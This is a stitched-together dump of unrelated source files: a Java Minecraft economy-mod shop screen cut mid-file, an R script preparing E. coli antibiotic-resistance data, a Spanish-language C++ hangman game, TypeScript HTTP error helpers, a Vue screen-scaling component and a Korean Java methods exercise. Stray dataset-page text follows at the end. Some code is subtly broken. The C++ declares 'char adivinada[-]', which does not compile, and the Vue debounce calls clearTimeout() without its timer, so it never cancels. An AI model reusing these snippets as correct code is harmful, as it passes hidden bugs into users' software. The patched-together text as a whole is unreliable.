tooltip.add(Component.translatable("jackseconomy.total", Component.literal(CurrencyHelper.format(shoppingCartValue)).withStyle(ChatFormatting.AQUA)).withStyle(ChatFormatting.DARK_AQUA));
tooltip.add(Component.literal(" "));
this.parent.shoppingCart.forEach(((shopItem, amount) -> {
tooltip.add(shopItem.itemDescription().item().getDescription().copy().withStyle(ChatFormatting.BLUE).append(Component.literal(" x" + amount).withStyle(ChatFormatting.BLUE)));
}));
}
})));
if (!canAfford || this.parent.shoppingCart.isEmpty()) {
purchaseButton.active = false;
}
}
@Override
protected void init() {
super.init();
this.shoppingCartPanel = this.addRenderableWidget(new BetterScrollPanel(this.minecraft, this.leftPos + 7, this.topPos + 12, 162, 109));
for (Map.Entry<AdminShopScreen.ShopItem, Integer> shoppingCartEntry : parent.shoppingCart.entrySet()) {
this.shoppingCartPanel.children.add(new ShoppingCartEntry(0, 0, 162, 20, shoppingCartEntry, () -> {
this.removeWidget(purchaseButton);
this.addPurchaseButton();
}, () -> {
parent.shoppingCart.remove(shoppingCartEntry.getKey());
this.clearWidgets();
this.init();
}));
}
this.addPurchaseButton();
}
@Override
protected void renderBg(PoseStack pPoseStack, float pPartialTick, int pMouseX, int pMouseY) {
this.renderBackground(pPoseStack);
RenderSystem.setShaderTexture(0, BACKGROUND);
int i = this.leftPos;
int j = (this.height - this.imageHeight) / 2;
this.blit(pPoseStack, i, j, 0, 0, this.imageWidth, this.imageHeight);
}
@Override
public void render(PoseStack pPoseStack, int pMouseX, int pMouseY, float pPartialTick) {
tooltip = null;
super.render(pPoseStack, pMouseX, pMouseY, pPartialTick);
ItemStack wallet = CuriosWallet.get(Minecraft.getInstance().player);
if (wallet != null && wallet.getItem() instanceof WalletItem walletItem) {
BigDecimal balance = WalletItem.getBalance(wallet);
Component component = Component.literal(CurrencyHelper.formatShortened(balance));
int textWidth = this.font.width(component);
int totalWidth = 29 + textWidth;
GuiComponent.fill(pPoseStack, this.leftPos + 181, this.topPos + 5, this.leftPos + 181 + totalWidth, this.topPos + 35, 0xFF4c4c4c);
GuiComponent.fill(pPoseStack, this.leftPos + 182, this.topPos + 6, this.leftPos + 182 + totalWidth, this.topPos + 34, 0xFFc6c6c6);
Minecraft.getInstance().getItemRenderer().renderGuiItem(wallet, this.leftPos + 183, this.topPos + 8);
this.font.draw(pPoseStack, component, this.leftPos + 203, this.topPos + 13, 0xFFFFFFFF);
RenderSystem.setShaderTexture(0, BALANCE_PROGRESS);
int barStartX = this.leftPos + 181 + ((totalWidth - 51) / 2);
int barStartY = this.topPos + 26;
double progress = balance.divide(BigDecimal.valueOf(walletItem.getCapacity()), RoundingMode.DOWN).min(BigDecimal.ONE).doubleValue();
blit(pPoseStack, barStartX, barStartY, this.getBlitOffset(), 0, 0, 51, 5, 256, 256);
blit(pPoseStack, barStartX, barStartY, this.getBlitOffset(), 0, 5, ((int)(51 * progress)), 5, 256, 256);
if (pMouseX >= barStartX && pMouseX <= barStartX + 51 && pMouseY >= barStartY && pMouseY <= barStartY + 5) {
tooltip = List.of(Component.translatable("jackseconomy.balance_out_of", Component.literal(CurrencyHelper.format(balance)).withStyle(ChatFormatting.YELLOW), Component.literal(CurrencyHelper.format(walletItem.getCapacity()))).withStyle(ChatFormatting.GOLD));
} } else {
Component component = Component.translatable("jackseconomy.no_wallet").withStyle(ChatFormatting.DARK_RED);
int width = this.font.width(component);
GuiComponent.fill(pPoseStack, this.leftPos + 181, this.topPos + 5, this.leftPos + 209 + width, this.topPos + 25, 0xFF4c4c4c);
GuiComponent.fill(pPoseStack, this.leftPos + 182, this.topPos + 6, this.leftPos + 208 + width, this.topPos + 24, 0xFFc6c6c6);
RenderSystem.setShaderTexture(0, NO_WALLET);
blit(pPoseStack, this.leftPos + 183, this.topPos + 8, this.getBlitOffset(), 0, 0, 16, 16, 16, 16);
this.font.draw(pPoseStack, component, this.leftPos + 203, this.topPos + 13, 0xFFFFFFFF);
}
this.renderTooltip(pPoseStack, pMouseX, pMouseY);
if (tooltip != null) {
this.renderTooltip(pPoseStack, tooltip, Optional.empty(), pMouseX, pMouseY);
}
}
@Override
public void onClose() {
assert this.minecraft != null;
this.minecraft.screen = parent;
this.minecraft.screen.init(this.minecraft, this.minecraft.getWindow().getGuiScaledWidth(), this.minecraft.getWindow().getGuiScaledHeight());
}
}
|
setwd("C:/Users/aleja/OneDrive/Escritorio/Alejandra/UCM/2023/Segundo Semestre/Tesis/Datos")
df <- read.csv("bin_5_2000Da_10000Da_talca_e_coli_v2.csv",sep = ",", header = TRUE)
# Verificar si hay presencia de valores nulos
any(is.na(df))
# Si muestra los valores, entonces no hay valores nulos
#na.fail(df)
#Solo para algunos antibióticos
a <- df$CIPROFLOXACINO #definir la variable objetivo
df <- df[!is.na(a), ] # Elimina las filas con NA solo de un antibiótico
#df <- df[complete.cases(df[, c("CIPROFLOXACINO", "GENTAMICINA")]), ] #Para más de un antibiótico
df <- replace(df, is.na(df), 0)
library(dplyr)
#Eliminar las columnas que contienen solo 0
df <- df %>%
select_if(~ !all(. == 0))
# Obtén el índice de la columna 'Especie'
indice_especie <- which(colnames(df) == "especie")
# Obtén las columnas que están después de 'especie'
antibioticos <- colnames(df)[(indice_especie + 1):ncol(df)]
# Crear una nueva columna 'antibioticos' que combine los valores de las columnas
df$antibioticos <- do.call(paste0, as.data.frame(df[, antibioticos]))
# Eliminar las columnas en 'antibioticos'
df <- df[, -(which(names(df) %in% antibioticos)), drop = FALSE]
# Seleccionar todas las columnas que no comienzan con 'X'
columnas_a_mantener <- c(grep("^X", names(df), value = TRUE), "antibioticos")
# Mantener solo las columnas seleccionadas
df <- df[, columnas_a_mantener, drop = FALSE]
df$antibioticos <- as.factor(df$antibioticos)
table(df$antibioticos)
#df$objetivo <- ifelse(substr(df$antibioticos, 1, 4) == "1111", 1, 0) #Para los casos que todos son 1
df$objetivo <- as.integer(grepl("^1", df$antibioticos)) #Primera posición
#df$objetivo <- as.integer(grepl("^.1", df$antibioticos)) #Otras posiciones
# Eliminar la columnna de los antibioticos
df <- df %>%
select(-antibioticos)
write.csv(df, file="ecipro.csv")
|
#include <iostream>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <limits> // Inclusión necesaria para numeric_limits
using namespace std;
char palabras[30][12] = { "manzana", "pera", "naranja", "toronja", "fresa", "mango", "uva", "sandia", "mandarina",
"cereza", "frambuesa", "banano", "melon", "papaya", "guanabana", "guayaba", "limon",
"maracuya", "ciruelas", "tomate", "granadilla", "kiwi", "piña", "coco", "moras",
"higo", "frutilla", "acerola", "aguacate", "durazno" };
int aleatorio(int n) {
srand(time(NULL));
return rand() % n;
}
void mostrarPalabra(char palabra[], char adivinada[-]) {
int longitud = strlen(palabra);
for (int i = 0; i < longitud; i++) {
cout << adivinada[i] << " ";
}
cout << endl;
}
int main() {
char P1[12];
char P2[12] = {0}; // Inicializamos con 0s para que funcione correctamente con strcpy y strlen
int seleccionada = aleatorio(30);
strcpy(P1, palabras[seleccionada]);
int longitud = strlen(P1);
for (int i = 0; i < longitud; i++) {
P2[i] = '_';
}
int intentos = 6;
bool ganado = false;
cout << "Bienvenido al juego del ahorcado de frutas!" << endl;
while (intentos > 0 && !ganado) {
cout << "Tienes " << intentos << " intentos restantes." << endl;
mostrarPalabra(P1, P2);
cout << "Ingresa una letra: ";
char letra;
cin >> letra;
cin.ignore(numeric_limits<streamsize>::max(), '\n'); // Limpia el buffer
bool letraEncontrada = false;
for (int i = 0; i < longitud; i++) {
if (P1[i] == letra && P2[i] == '_') {
P2[i] = letra;
letraEncontrada = true;
}
}
if (!letraEncontrada) {
intentos--;
cout << "Incorrecto! Pierdes un intento." << endl;
}
if (strcmp(P1, P2) == 0) {
ganado = true;
}
}
if (ganado) {
cout << "Felicidades! Adivinaste la fruta: " << P1 << endl;
} else {
cout << "Lo siento, has perdido. La fruta era: " << P1 << endl;
}
return 0;
}
|
export const HttpErrorCodes = {
404: "Not Found",
400: "Bad Request",
409: "Conflict",
} as const;
export interface HttpError extends Omit<Error, "name"> {
statusCode: keyof typeof HttpErrorCodes;
error: string;
}
const createHttpError = (statusCode: keyof typeof HttpErrorCodes, message: string): HttpError => {
return {
statusCode,
message,
error: HttpErrorCodes[statusCode],
};
};
/**
* not found Error with the provided message
*/
export function notFoundError(message: string): HttpError;
/**
* not found Error with the queried resource info 'resource.field=value'
*/
export function notFoundError(resource: string, field: string, value: string): HttpError;
export function notFoundError(messageOrResource: string, field?: string, value?: string) {
// ...field argument is provided!, it matches the 2nd overload, with 'resource
if (field) {
const message = `${messageOrResource}.${field}=${value} is not found.`;
return createHttpError(404, message);
}
return createHttpError(404, messageOrResource);
}
export const badRequestError = (message: string) => {
return createHttpError(400, message);
};
export const conflictError = (message: string) => {
return createHttpError(409, message);
};
|
<template>
<div class="screen-adapter" :style="style">
<slot />
</div>
</template>
<script lang="ts" setup>
import {withDefaults, reactive, onMounted} from 'vue';
interface ScreenAdapterState{
width?: number
height?: number
}
/**
* s:{
* color: ‘’,
* width: '',
* height: ''
* }
* v-bind:params="s"
* props parms{}
* v-bind属性绑定 单向传递 当传递对象过去的时候只能全称()
* v-on 事件的绑定
* v-model双向绑定
* withDefaults设置props默认值
* defineProps<ScreenAdapterState>()获取父元素传递的参数
*/
const props = withDefaults(defineProps<ScreenAdapterState>(), {
width: 1920,
height: 1080
})
const style = reactive({
width: props.width + 'px',
height: props.height + 'px',
transform: 'scale(1) translate(-50%, -50%)'
})
/**
* 每隔3秒就去获取屏幕的大小计算缩放的比例,从而进行屏幕的适配
* 函数防抖:
* 函数节流
*/
const Debounce = (fn: () => void, t: number): (() => void) => {
const delay = t || 500
// eslint-disable-next-line no-undef
let timer: NodeJS.Timeout | null
return function(){
if(timer){
clearTimeout()
}
timer = setTimeout(() => {
timer = null
fn()
}, delay)
}
}
const getScale = () => {
const w = window.innerWidth / props.width
const h = window.innerHeight / props.height
return { w, h }
}
const setScale = () => {
const w = getScale().w
const h = getScale().h
style.transform = 'scaleX(' + w + ') scaleY(' + h + ') translate(-50%, -50%)'
}
onMounted(() => {
setScale()
window.onresize = Debounce(setScale, 3000)
})
</script>
<style lang="scss" scoped>
.screen-adapter{
position: absolute;
left: 50%;
top: 50%;
transition: 0.3s;
transform-origin: 0 0;
}
</style>
|
package quiz01;
import java.util.Scanner;
public class MethodQuiz02 {
public static void main(String[] args) {
//정수 2개를 받아서 합을 출력하는 문장
//1.반환도 없고 매개변수도 없는 메서드show()
/*
System.out.println("[두 수의 합을 구합니다]");
//2.반환은 있고, 매개변수는 없는 메서드 input() - 2번호출로
Scanner scan = new Scanner(System.in);
System.out.print("정수입력>");
int num1 = scan.nextInt();
System.out.print("정수입력>");
int num2 = scan.nextInt();
//3.두 수의 합을 리턴하는 메서드 add()
int result = num1 + num2;
//4.매개변수로 result를 받아서 단순히 출력 print();
System.out.println("두 수의 합:" + result);
*/
show();
/*
* int num1 = input();
* int num2 = input();
*
* int result = add(num1,num2);
* print(result);
*/
print(add(input(),input()));
}//main end
//1
static void show() {
System.out.println("[두 수의 합을 구합니다]");
}
//2
static int input() {
Scanner scan = new Scanner(System.in);
System.out.print("정수입력>");
int num = scan.nextInt();
return num;
}
//3
static int add(int num1, int num2) {
return num1 + num2;
}
//4
static void print(int result) {
System.out.println("두 수의 합:" + result);
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.